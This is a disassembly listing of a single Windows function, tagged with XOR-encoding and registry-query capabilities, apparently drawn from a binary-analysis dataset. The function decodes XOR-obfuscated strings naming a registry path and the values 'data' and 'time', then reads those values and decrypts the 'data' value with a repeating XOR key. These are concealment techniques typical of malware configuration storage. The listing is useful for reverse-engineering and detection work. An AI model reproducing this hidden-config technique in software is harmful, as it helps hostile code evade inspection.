Function at 0x1000c385
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov eax, dword [0x1002a080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, edx
xor eax, eax
push edi
mov edi, ecx
mov dword [ebp - 0xb8], edi
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xc8], eax
cmp esi, eax
je 0x1000c3bc
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x84], 0xa8c7a8fb
mov dword [ebp - 0x80], 0xa8dca8ce
mov dword [ebp - 0x7c], 0xa8c9a8df
mov dword [ebp - 0x78], 0xa8cda8da
mov dword [ebp - 0x74], 0xa8e5a8f4
mov dword [ebp - 0x70], 0xa8cba8c1
mov dword [ebp - 0x6c], 0xa8c7a8da
mov dword [ebp - 0x68], 0xa8c7a8db
mov dword [ebp - 0x64], 0xa8dca8ce
mov dword [ebp - 0x60], 0xa8ffa8f4
mov dword [ebp - 0x5c], 0xa8c6a8c1
mov dword [ebp - 0x58], 0xa8c7a8cc
mov dword [ebp - 0x54], 0xa8dba8df
mov dword [ebp - 0x50], 0xa8fba888
mov dword [ebp - 0x4c], 0xa8daa8cb
mov dword [ebp - 0x48], 0xa8d8a8c1
mov dword [ebp - 0x44], 0xa8f4a8dc
mov dword [ebp - 0x40], 0xa8cda8fb
mov dword [ebp - 0x3c], 0xa8dca8dc
mov dword [ebp - 0x38], 0xa8c6a8c1
mov dword [ebp - 0x34], 0xa8dba8cf
mov dword [ebp - 0x30], 0xa8eca8f4
mov dword [ebp - 0x2c], 0xa8c5a8c7
mov dword [ebp - 0x28], 0xa8c1a8c9
mov dword [ebp - 0x24], 0xa8dba8c6
mov word [ebp - 0x20], 0xa8a8
mov dword [ebp - 0x10], 0xa8c9a8cc
mov dword [ebp - 0xc], 0xa8c9a8dc
mov word [ebp - 8], 0xa8a8
mov dword [ebp - 0x1c], 0xa8c1a8dc
mov dword [ebp - 0x18], 0xa8cda8c5
mov word [ebp - 0x14], 0xa8a8
xor byte [ebp + eax - 0x84], 0xa8
inc eax
cmp eax, 0x66
jb 0x1000c4ae
lea eax, [ebp - 0x84]
push eax
push SysReAllocString
mov eax, 0x20019
lea ebx, [ebp - 0xd8]
call fcn.10002cb7
test eax, eax
jne 0x1000c662
mov dword [ebp - 0xcc], 0x800
xor byte [ebp + eax - 0x10], 0xa8
inc eax
cmp eax, 0xa
jb 0x1000c4ea
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 0xcc]
push eax
push edi
lea eax, [ebp - 0xbc]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xd8]
call ebx
test eax, eax
jne 0x1000c5f2
cmp dword [ebp - 0xbc], 3
jne 0x1000c5f2
test eax, eax
jne 0x1000c5f2
mov esi, dword [ebp - 0xcc]
test esi, esi
je 0x1000c5ec
xor ecx, ecx
mov dword [ebp - 0xb4], 0x17b6bfb7
mov dword [ebp - 0xb0], 0x1f0c31aa
mov dword [ebp - 0xac], 0x8e55a53b
mov dword [ebp - 0xa8], 0xc4a2cb45
mov dword [ebp - 0xa4], 0x7e578f9c
mov dword [ebp - 0xa0], 0x9f1d9187
mov dword [ebp - 0x9c], 0xb89bdb87
mov dword [ebp - 0x98], 0x3471e36a
mov dword [ebp - 0x94], 0x94b5891c
mov dword [ebp - 0x90], 0xa5f12949
mov dword [ebp - 0x8c], 0xf5d756b2
mov word [ebp - 0x88], 0x829c
test esi, esi
je 0x1000c5de
xor edx, edx
push 0x2e
mov eax, ecx
pop edi
div edi
mov edi, dword [ebp - 0xb8]
mov al, byte [ebp + edx - 0xb4]
xor byte [edi + ecx], al
inc ecx
cmp ecx, esi
jb 0x1000c5c0
mov byte [edi + esi], 0
mov dword [ebp - 0xc8], 1
mov esi, dword [ebp - 0xc0]
xor eax, eax
mov dword [ebp - 0xc4], eax
cmp esi, eax
je 0x1000c657
xor byte [ebp + eax - 0x1c], 0xa8
inc eax
cmp eax, 0xa
jb 0x1000c5fe
push 4
pop esi
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0xbc]
push eax
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0xd8]
mov dword [ebp - 0xb8], esi
call ebx
test eax, eax
jne 0x1000c657
cmp dword [ebp - 0xbc], esi
jne 0x1000c657
test eax, eax
jne 0x1000c657
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xc4]
and dword [eax + 4], 0
mov dword [eax], ecx
lea esi, [ebp - 0xd8]
call fcn.10002e24
lea esi, [ebp - 0xd8]
call fcn.10002e24
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000cdb3
leave
ret